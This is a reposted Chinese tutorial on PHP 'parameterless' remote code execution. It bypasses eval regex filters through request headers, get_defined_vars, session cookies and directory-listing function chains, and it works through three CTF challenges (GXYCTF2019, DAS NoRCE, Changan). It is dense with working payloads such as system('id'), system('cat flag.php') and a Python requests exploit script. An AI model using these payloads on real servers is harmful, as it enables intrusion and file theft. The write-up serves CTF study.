【PHP安全】无参数命令执行学习

news/2025/3/4 2:03:42/文章来源:https://www.cnblogs.com/o-O-oO/p/18743063

免责声明:

由于传播、利用本公众号所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

文章作者:先知社区(Atkx)

文章来源:https://xz.aliyun.com/news/10228

前言

昨天长安“战疫”比赛中有一道无参数rce的题,之前也遇到过几次,在这里总结一下无参数命令执行。

一、环境准备

1.1 测试代码

<?php
highlight_file(__FILE__);
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    eval($_GET['code']);
}
?>

1.2 关键代码

preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])

这里使用pregreplace替换匹配到的字符为空,\w匹配字母、数字和下划线,等价于 [^A-Za-z0-9],然后(?R)?这个意思为递归整个匹配模式。所以正则的含义就是匹配无参数的函数,内部可以无限嵌套相同的模式(无参数函数),将匹配的替换为空,判断剩下的是否只有;

以上正则表达式只匹配a(b(c()))或a()这种格式,不匹配a("123"),也就是说我们传入的值函数不能带有参数,所以我们要使用无参数的函数进行文件读取或者命令执行。

1.3 本文涉及的相关函数

# 目录操作:getchwd() :函数返回当前工作目录。
scandir() :函数返回指定目录中的文件和目录的数组。
dirname() :函数返回路径中的目录部分。
chdir() :函数改变当前的目录。# 数组相关的操作:end() : 将内部指针指向数组中的最后一个元素,并输出。
next() : 将内部指针指向数组中的下一个元素,并输出。
prev() : 将内部指针指向数组中的上一个元素,并输出。
reset() : 将内部指针指向数组中的第一个元素,并输出。
each() : 返回当前元素的键名和键值,并将内部指针向前移动。
array_shift() : 删除数组中第一个元素,并返回被删除元素的值。# 读文件:show_source() : 对文件进行语法高亮显示。
readfile() : 输出一个文件。
highlight_file() : 对文件进行语法高亮显示。
file_get_contents() : 把整个文件读入一个字符串中。
readgzfile() : 可用于读取非 gzip 格式的文件

1.4 关键函数

  • getenv()

getenv() :获取环境变量的值(在PHP7.1之后可以不给予参数)
适用于:php7以上的版本

?code=var_dump(getenv());

php7.0以下返回bool(false)

php7.0以上正常回显

?code=var_dump(getenv(phpinfo()));

phpinfo()可以获取所有环境变量

  • getallheaders()

getallheaders():获取所有 HTTP 请求标头,是apache_request_headers()的别名函数,但是该函数只能在Apache环境下使用
传入?code=print_r(getallheaders());,数组返回 HTTP 请求头

Payload1

使用end指向最后一个请求头,用其值进行rce

GET /1.php?code=eval(end(getallheaders())); HTTP/1.1
.....
flag: system('id');

end():将数组的内部指针指向最后一个单元。

Payload2

此payload适用于php7以上版本

GET /1.php?exp=eval(end(apache_request_headers()));  HTTP/1.1
....
flag: system('id');
  • get_defined_vars()

Payload1:

?code=eval(end(current(get_defined_vars())));&flag=system('ls');

【利用全局变量进RCE】:

get_defined_vars():返回由所有已定义变量所组成的数组,会返回$_GET,$_POST,$_COOKIE,$_FILES全局变量的值,返回数组顺序为get->post->cookie->files
current():返回数组中的当前单元,初始指向插入到数组中的第一个单元,也就是会返回$_GET变量的数组值

Payload2:

?flag=phpinfo();&code=print_r(get_defined_vars());

该函数会返回全局变量的值,如get、post、cookie、file数据

flag=>phpinfo();在_GET数组中,所以需要使用两次取数组值:

pos第一次取值

?flag=phpinfo();&code=print_r(pos(get_defined_vars()));

pos第二次取值

?flag=phpinfo();&code=print_r(pos(pos(get_defined_vars())));

执行phpinfo()

?flag=phpinfo();&code=eval(pos(pos(get_defined_vars())));

任意命令执行

?flag=system('id');&code=eval(pos(pos(get_defined_vars())));

Payload3:

而如果网站对$_GET,$_POST,$_COOKIE都做的过滤, 那我们只能从$_FILES入手了,file数组在最后一个,需要end定位,然后pos两次定位获得文件名。

  • exp:
import requests
files = {"system('whoami');": ""
}
#data = {
#"code":"eval(pos(pos(end(get_defined_vars()))));"
#}
r = requests.post('http://your_vps_ip/1.php?code=eval(pos(pos(end(get_defined_vars()))));', files=files)
print(r.content.decode("utf-8", "ignore"))

session_start()

适用于:php7以下的版本
● session_start():启动新会话或者重用现有会话,成功开始会话返回 TRUE ,反之返回 FALSE,返回参数给session_id()
● session_id():获取/设置当前会话 ID,返回当前会话ID。 如果当前没有会话,则返回空字符串(””)

1.5 文件读取

● show_source(session_id(session_start()));
● var_dump(file_get_contents(session_id(session_start())))
● highlight_file(session_id(session_start()));
● readfile(session_id(session_start()));
抓包传入Cookie: PHPSESSID=(想读的文件)即可

GET /1.php?code=show_source(session_id(session_start())); HTTP/1.1
Cookie: PHPSESSID=/flag

读取成功:

1.6 命令执行

hex2bin()函数可以将十六进制转换为ASCII 字符,所以我们传入十六进制并使用hex2bin()即可

先传入eval(hex2bin(session_id(session_start())));,然后抓包传入Cookie: PHPSESSID=("system('命令')"的十六进制)即可

GET /1.php?code=eval(hex2bin(session_id(session_start()))); HTTP/1.1
Cookie: PHPSESSID=706870696e666f28293b

回显成功

  • scandir()
#查看当前目录文件名:
print_r(scandir(current(localeconv())));#读取当前目录文件:
#当前目录倒数第一位文件:
show_source(end(scandir(getcwd())));
show_source(current(array_reverse(scandir(getcwd()))));
#当前目录倒数第二位文件:
show_source(next(array_reverse(scandir(getcwd()))));#随机返回当前目录文件:
highlight_file(array_rand(array_flip(scandir(getcwd()))));
show_source(array_rand(array_flip(scandir(getcwd()))));
show_source(array_rand(array_flip(scandir(current(localeconv())))));#读取上级目录文件:
print_r(scandir(dirname(getcwd())));
print_r(scandir(next(scandir(getcwd()))));
print_r(scandir(next(scandir(getcwd()))));#读取上级目录文件:
show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));

payload解释:

array_flip():交换数组中的键和值,成功时返回交换后的数组,如果失败返回 NULL。

array_rand():从数组中随机取出一个或多个单元,如果只取出一个(默认为1),array_rand() 返回随机单元的键名。 否则就返回包含随机键名的数组。 完成后,就可以根据随机的键获取数组的随机值。

array_flip()array_rand()配合使用可随机返回当前目录下的文件名。

dirname(chdir(dirname()))配合切换文件路径。

所获得的字符串第一位有几率是/,需要多试几次

print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));

二、相关CTF赛题

[GXYCTF2019]禁止套娃

index源码

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {// echo $_GET['exp'];@eval($_GET['exp']);}else{die("还差一点哦!");}}else{die("再好好想想!");}}else{die("还想读flag,臭弟弟!");}
}
// highlight_file(__FILE__);
?>

分析一下关键的四行代码

if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {// echo $_GET['exp'];@eval($_GET['exp']);

1、需要以GET形式传入一个名为exp的参数。如果满足条件会执行这个exp参数的内容。
2、第一个if,preg_match过滤了伪协议
3、第二个if,preg_replace限制我们传输进来的必须时纯小写字母的函数,而且不能携带参数。
4、第三个if,preg_match正则匹配过滤了bin|hex等关键字。
5、 @eval($_GET['exp']);执行get传入的exp。
无参数RCE

方法一:利用scandir()函数

1、查看目录下的文件

?exp=print_r(scandir(current(localeconv())));
#Array ( [0] => . [1] => .. [2] => .git [3] => flag.php [4] => index.php )

2、通过 array_reverse 进行逆转数组

?exp=print_r(array_reverse(scandir(current(localeconv()))));
#Array ( [0] => index.php [1] => flag.php [2] => .git [3] => .. [4] => . )

3、用next()函数进行下一个值的读取

?exp=print_r(next(array_reverse(scandir(current(localeconv())))));
#flag.php

4、highlight_file()函数读取flag
最终payload:

?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));

getflag

方法二: 利用session_start()函数

/?exp=show_source(session_id(session_start())); HTTP/1.1
Cookie: PHPSESSID=flag.php  

[DAS]NoRCE

<?php
highlight_file(__FILE__);
$exp = $_GET['exp'];
//php7.3 + Apache
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $exp)) {if(!preg_match("/o|v|b|print|var|time|file|sqrt|path|dir|exp|pi|an|na|en|ex|et|na|dec|true|false|[0-9]/i", $exp)){eval($exp);}else{exit('NoNoNo,U R Hacker~');}
}else{exit("What's this?");
}
?>

无参数RCE

过滤了一堆,利用apache_request_headers()函数,在php7以下版本没有复现成功。
Payload:

?exp=apache_request_headers();

没被过滤

pos current pop都被过滤了,还有个array_shift()函数可以用

array_shift() : 删除数组中第一个元素,并返回被删除元素的值。

输出函数echo、print_r、var_dump也都被过滤了,exit()函数的别名die()函数

die() :函数输出一条消息,并退出当前脚本。

Payload:

?exp=die(array_shift(apache_request_headers()));

回显成功

自定义一个请求头,其值为要执行的命令,如flag: whoami,
Payload:

?exp=system(array_shift(apache_request_headers()));

打印出来了

接下来执行命令,成功执行whoami命令

本方法在php7以下使用未成功

[长安战疫]RCE_No_Para

<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) { if(!preg_match('/session|end|next|header|dir/i',$_GET['code'])){eval($_GET['code']);}else{die("Hacker!");}
}else{show_source(__FILE__);
}
?>

本题的做法是通过传递自定义的新变量给数组,返回指定值,从而实现RCE。
绕过方法:pos是current的别名,如果都被过滤还可以使用reset(),该函数返回数组第一个单元的值,如果数组为空则返回 FALSE

收集到的一些Payload:

?flag=system('cat flag.php');&code=eval(pos(pos(get_defined_vars())));
?flag=system('cat flag.php');&code=eval(pos(reset(get_defined_vars())));
?flag=readfile('flag.php');&code=eval(implode(reset(get_defined_vars())));
?code=eval(current(array_reverse(current(get_defined_vars()))));&flag=system('cat flag.php');
?code=eval(current(array_reverse(reset(get_defined_vars()))));&flag=system('cat flag');
?code=eval(current(array_reverse(pos(get_defined_vars()))));&flag=system('cat flag');

参考文章

https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/
https://blog.csdn.net/qq_38154820/article/details/107171940
https://blog.csdn.net/qq_33008305/article/details/120950537
https://mp.weixin.qq.com/s/yZpBMbCS0Hi7WY9QctdWSQ

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/892182.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

分享4款.NET开源、免费、实用的商城系统

前言 今天大姚给大家分享4款.NET开源、免费、实用的商城系统,希望可以帮助到有商城系统开发需求的同学。 nopCommerce nopCommerce是一个.NET开源功能丰富、免费、灵活且可定制的开源电子商务解决方案(大家假如有商城需求可以直接使用该项目进行二次开发,省时省力) ,具备商城…

总结:单调栈

\(\texttt{单调栈}\) \(\texttt{单调栈学习笔记}\) 今天学习的是 数据结构:单调栈。 (n 久之前了……) \(\texttt{数据结构讲解}\) \(\texttt{单调栈的类型}\)单调递增栈单调递减栈单调递增栈:指的是一个栈中的元素都是单调递增的。 单调递减栈:指的是一个栈中的元素都是单…

基于ThreeJs的大屏3D地图(二)——气泡图、渐变柱体与热力图

前提 上一篇文章中我们完成了地图区块模型的渲染,在此基础之上本篇来讲解气泡图、3D柱形图以及3D热力图的实现方式。 首先,为了更好的关注点分离及与地图渲染模块的解耦,我们可以把所有类型的可视化元素抽象出一个图层基类BaseLayer: /*** 图层基类*/ abstract class BaseL…

揭露GPT幻觉只需一个提示

把像GPT这样的超大语言模型投入真实世界应用时,最大挑战之一就是经常说的幻觉。这就是说这些模型会开始编造一些根本不对的事实。最麻烦的地方是你可能根本不会发现,因为这些文字放在上下文里听起来很自然。 这对那些需要事实核查,或者某种形式的事后验证才能信任LLM回答的关…

如何使用ChatGPT画流程图

如何使用ChatGPT画流程图 MermaidMermaid 是一款基于 JavaScript 的图表绘制工具,使用 Markdown 风格的文本定义和渲染器来创建和修改复杂图表。Mermaid 的主要目的是帮助文档跟上开发的步伐。使用示例将ChatGPT回复的代码粘贴到下面的网站上 https://mermaid.live/

成都控制板定制:常见的MAX485芯片型号和后缀的含义

我处承接提供优质的单片机系统开发、电路板PCB设计、控制器研发控制箱定制、电子产品、硬件开发、工控测控传感自动化PLC系统设计、仪器定制仪表订做、信号采集器研发、物联网、软件EXE编程、安卓APP等开发定制加工优质服务(www点yonko-tech点com),在项目时会经常用到485通信…

震撼揭秘:LLM幻觉如何颠覆你的认知!

LLM幻觉 把幻觉理解为训练流水线中的一种涌现认知效应 Prashal RuchirangaRobina Weermeijer 在 Unsplash 上的照片介绍 在一个名为《深入剖析像ChatGPT这样的LLM》的YouTube视频里,特斯拉前AI资深总监Andrej Karpathy探讨了大型语言模型(LLM)的心理现象,把它看作是训练流水…

Windows 10 Hyper-V 安装不了 统信UOS Server 解决方案

如果一直停留在上面的页面,删除虚拟机,记得创建虚拟机,不要选择2代CPU。

Windows下DeepSeek R1简单搭建

目录安装 Ollama简介安装运行模型选择嵌入模型(Embedding)安装和使用Cherry Studio配置Cherry Studio配置使用本地模型知识库配置 安装 Ollama 简介 Ollama 是一个开源的大型语言模型(LLM)平台,旨在让用户能够轻松地在本地运行、管理和与大型语言模型进行交互。 提供了一个简…

学习进度记录贴

本文主要记录作者的各个学习记录🐫学习进度记录帖本贴开立初衷是为了督促作者好好学习,用记录的方式收获一点正反馈。作者目前大三下半学期,由于对考研上不了岸z的担忧,所以想边实习边考研。虽然这是很多人都不建议走的一条路,但是只有这样才能够缓解我的焦虑,让我不必在…

SSL/TLS握手阶段解析

众所周知SSL/TLS是HTTPS的基石,我觉得对经常都在使用的网络需要有进一步的了解。 HTTPS协议全称(Hypertext Transfer Protocol Secure),它与HTTP协议最大的不同就在于更安全。 HTTP是明文协议,所有内容默认都没有经过加密,当然也可以由开发人员将客户端和服务端要发送的内…

CICD+K8s项目实战讲解

CICD 流水先实战,使用git+Jenkins(git+mvn+docker)+ harbor + k8s 1.环境说明